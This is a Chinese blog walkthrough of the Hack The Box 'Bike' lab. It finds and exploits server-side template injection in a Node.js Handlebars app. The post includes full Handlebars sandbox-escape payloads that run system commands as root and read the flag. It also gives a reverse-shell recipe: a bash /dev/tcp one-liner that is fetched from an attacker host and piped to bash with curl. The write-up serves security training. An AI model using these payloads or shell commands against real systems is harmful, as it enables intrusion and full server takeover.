HTB_Bike练习记录——SSTI
<p>目标ip:10.129.64.117</p><h1 id="一信息收集">一、信息收集</h1>
<p><code>ping 10.129.64.117</code></p>
<p><code>nmap -sV -sC -v 10.129.64.117</code></p>
<p><strong>-v</strong>:增加详细程度,让 Nmap 打印有关正在进行的扫描的更多信息。</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902103215580-272119138.png" alt="image" loading="lazy"></p>
<p>扫描显示 22 端口(SSH)已打开,但由于我们没有可用于身份验证的凭证或密钥,因此我们暂时忽略它。</p>
<p>我们还打开了 80 端口,该端口正在运行 HTTP Node.js 服务器并使用 Express 框架。</p>
<h3 id="访问时出现502">访问时出现502:</h3>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902104951887-639797011.png" alt="image" loading="lazy"></p>
<p>破案了,服务器没毛病,是我开了vpn代理,详见文章 https://www.cnblogs.com/youthtour/p/19065035</p>
<p>解决:https://blog.csdn.net/haigujiujian/article/details/114960182</p>
<p>在network setting 里面设置成autodetect,这样就既可以用代理又可以不用代理了。</p>
<p>再访问:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902112429725-1153835580.png" alt="image" loading="lazy"></p>
<p>有时,开发人员会为了快速解决问题而编写一些糟糕的代码,从而导致漏洞。让我们输入邮箱地址 abb@htb.com,然后点击“提交”。</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902114053861-1305511740.png" alt="image" loading="lazy"></p>
<p>输出显示,在页面重新加载后,在电子邮件字段中提交的<strong>任何输入都会返回给用户</strong>。这可能会让我们思考各种潜在的漏洞利用向量,例如跨站点脚本(XSS),但是,我们首先需要知道该网站的<strong>后端使用了哪些框架和编程语言</strong>。</p>
<p>用插件Wappalyzer查看:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902114742416-359187244.png" alt="image" loading="lazy"></p>
<p>Nmap 和 Wappalyzer 都报告说该服务器基于 Node.js 构建并使用 Express 框架。</p>
<h3 id="测试xss-scriptalert1script--不行">测试XSS: <code><script>alert(1)</script></code>不行</h3>
<p>我们必须寻找其他漏洞,<br>
Node.js 和 Python Web 后端服务器经常使用一种称为“<strong>Template Engines</strong>”的软件。</p>
<p>Template Engines 用于在网页上显示<strong>动态生成</strong>的内容。它们将模板文件中的变量替换为实际值,并将这些值显示给客户端。</p>
<p>模板引擎和所有软件一样,容易受到漏洞的影响。今天我们要重点讨论的漏洞是服务器端模板注入 (<strong>SSTI</strong>)。</p>
<p>简单来说,SSTI 是一种漏洞利用技术,攻击者将原生代码(Template Engines代码)注入网页。该代码随后通过模板引擎运行,最终在受感染的服务器上<strong>获得代码执行权限</strong>。</p>
<h1 id="二鉴别">二、鉴别</h1>
<p>为了利用潜在的 SSTI 漏洞,我们首先需要确认它的存在。</p>
<p>poc参考:https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902120124515-694262793.png" alt="image" loading="lazy"></p>
<p>模板表达式中常用的各种特殊字符:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902120221951-1991770180.png" alt="image" loading="lazy"></p>
<p>它们用于<strong>识别 SSTI 漏洞</strong>。如果存在 SSTI,则在提交其中一个之后,Web 服务器会将这些表达式检测为有效代码并尝试<strong>执行</strong>它们。</p>
<p>为了测试漏洞,我们尝试在电子邮件提交表单中输入<strong>${7*7}</strong>。</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902120422436-1531340028.png" alt="image" loading="lazy"></p>
<p>服务器并未执行该表达式,只是将其反射回给我们。我们继续讨论第二个有效载荷,即 <strong>{{7*7}}</strong> 。</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250902120519626-1391248540.png" alt="image" loading="lazy"></p>
<p>提交 payload 后,会弹出错误页面。</p>
<p>这意味着模板引擎确实检测到有效载荷有效,但是代码存在一些错误,无法执行。我们可以看到服务器正在从 /root/Backend 目录运行,并且正在使用 Handlebars 模板引擎。</p>
<h1 id="三漏洞利用">三、漏洞利用</h1>
<p>访问网站,获取payload:<br>
https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html#handlebars-nodejs</p>
<p>在BurpSuite的<strong>Decoder</strong>模块将payload转换成<strong>url</strong>码:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910193529623-1911230936.png" alt="image" loading="lazy"></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910193253138-1779139360.png" alt="image" loading="lazy"></p>
<p>然后在<strong>repeater<em>ReferenceError: require is not defined</em>模块传给</strong>email**参数:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910193230913-1520584569.png" alt="image" loading="lazy"></p>
<p>报错:ReferenceError: <strong>require</strong> is not defined</p>
<p>是因为代码的这一句:</p>
<p><code>{{this.push "return require('child_process').exec('whoami');"}}</code></p>
<p>模板引擎通常被<strong>沙盒化</strong>,这意味着它们的代码在受限制的代码空间中运行,因此一旦发生恶意代码运行,加载能够运行系统命令的模块将非常困难。如果我们不能直接使用 require 来加载此类模块,就必须<strong>寻找其他方法</strong>。</p>
<p><code>require</code> <strong>不是</strong> Node.js 的全局变量。它是每个模块作用域下的一个函数,由 Node.js 在加载模块时自动注入。<br>
也就是说,你<strong>不能在浏览器环境直接使用</strong> require,也不能通过 global.require 访问它。</p>
<p><code>process</code> 是 Node.js 的<strong>全局变量</strong>,你可以在任何 Node.js 代码<strong>直接访问</strong> process。</p>
<p>使用下面的payload:<br>
<code>{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process;"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}</code></p>
<p>还是url编码之后发送:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910195513134-176492423.png" alt="image" loading="lazy"></p>
<p>响应中没有错误,并且我们可以看到 已被包含。这意味着 process 对象确实<strong>可用</strong>。<br>
仔细查看 process 对象的文档,我们发现它有一个 <strong>mainModule</strong> 属性,该属性自 Node.js 14.0.0 版本起已被弃用,但弃用并不一定意味着无法访问。</p>
<p>这篇博客文章https://www.geeksforgeeks.org/node-js/node-js-process-mainmodule-property/<br>
详细介绍了该属性的用法。</p>
<p>由于 handlebars 在沙盒环境中运行,我们或许可以使用 mainModule 属性直接加载 main 函数,并且由于 main 函数很可能不在沙盒中,因此可以从那里加载 require 。让我们再次修改我们的有效载荷,看看 mainModule 是否可以访问。</p>
<p><code>{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule;"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}</code></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910200434273-406581462.png" alt="image" loading="lazy"></p>
<p>这次也没有错误,我们在响应末尾看到了一个额外的对象,这意味着该属性确实可用。现在让我们尝试调用 require 并加载一个模块。我们可以加载 child_process 模块,因为它在默认的 Node.js 安装中可用,并且可以用于执行系统命令。</p>
<p>payload:<br>
<code>{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule.require('child_process');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}</code></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910200939131-1519893296.png" alt="image" loading="lazy"></p>
<p>require 对象已成功调用,child_process 模块也已加载。现在,我们来尝试运行系统命令:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910201751854-80012299.png" alt="image" loading="lazy"></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910201710732-1533979563.png" alt="image" loading="lazy"></p>
<p>在响应中,我们看到 whoami 命令的输出是 root 。这意味着我们已经成功在机器上运行了系统命令,并且 Web 服务器正在root用户。<br>
现在我们可以采取两种方式之一。我们可以在受影响的系统上获取反向 Shell,或者直接获取 flag。</p>
<h3 id="1直接获取flag">1、直接获取flag</h3>
<p>修改payload:<br>
<code>{{this.push "return process.mainModule.require('child_process').execSync('ls /root');"}}</code></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910202126513-2097145273.png" alt="image" loading="lazy"></p>
<p>修改payload:<br>
<code>{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}</code></p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910211249748-1714429846.png" alt="image" loading="lazy"></p>
<h3 id="2获取反向shell">2、获取反向shell</h3>
<p>本地开nc监听:</p>
<p><code>nc -lnvp 1337</code></p>
<p>在re_shell里面新建一个反弹shell脚本shell.sh:</p>
<p><code>#! /bin/bash bash -i >& /dev/tcp/10.10.16.20/1337 0>&1</code></p>
<p>在re_shell文件夹下开python服务:</p>
<p><code>python -m http.server 8000</code></p>
<p>修改payload:<br>
<code>{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return process.mainModule.require('child_process').execSync('curl 10.10.16.20:8000/shell.sh|bash');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}</code></p>
<p>执行<code>curl 10.10.16.20:8000/shell.sh|bash</code>,即获取本地shell.sh并执行:</p>
<p><img src="https://img2024.cnblogs.com/blog/3693196/202509/3693196-20250910220213306-1203186534.png" alt="image" loading="lazy"></p><br><br>
来源:https://www.cnblogs.com/youthtour/p/19069929
頁:
[1]